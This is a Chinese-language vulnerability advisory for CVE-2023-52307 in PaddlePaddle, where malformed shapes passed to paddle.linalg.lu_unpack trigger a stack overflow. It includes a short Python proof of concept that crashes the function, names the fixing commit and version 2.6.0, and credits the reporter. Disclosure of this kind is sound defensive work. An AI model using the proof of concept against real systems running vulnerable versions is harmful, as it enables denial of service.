CVE-2023-52307
不正确的shapes会引发paddle.linalg.lu_unpack
栈溢出,PoC代码如下:
import paddle
import numpy as np
x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 6, 4, 8, 2]).astype(np.float32))
y = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32))
paddle.linalg.lu_unpack(x, y, True, True)
我们在commit 10093636a10f29f73f13729b33570d8cafd58fb6中对此问题进行了补丁。 修复将包含在飞桨2.6.0版本当中。
请参考我们的安全指南以获得更多关于安全的信息,以及如何与我们联系问题。
此漏洞由 Tong Liu of CAS-IIE 提交。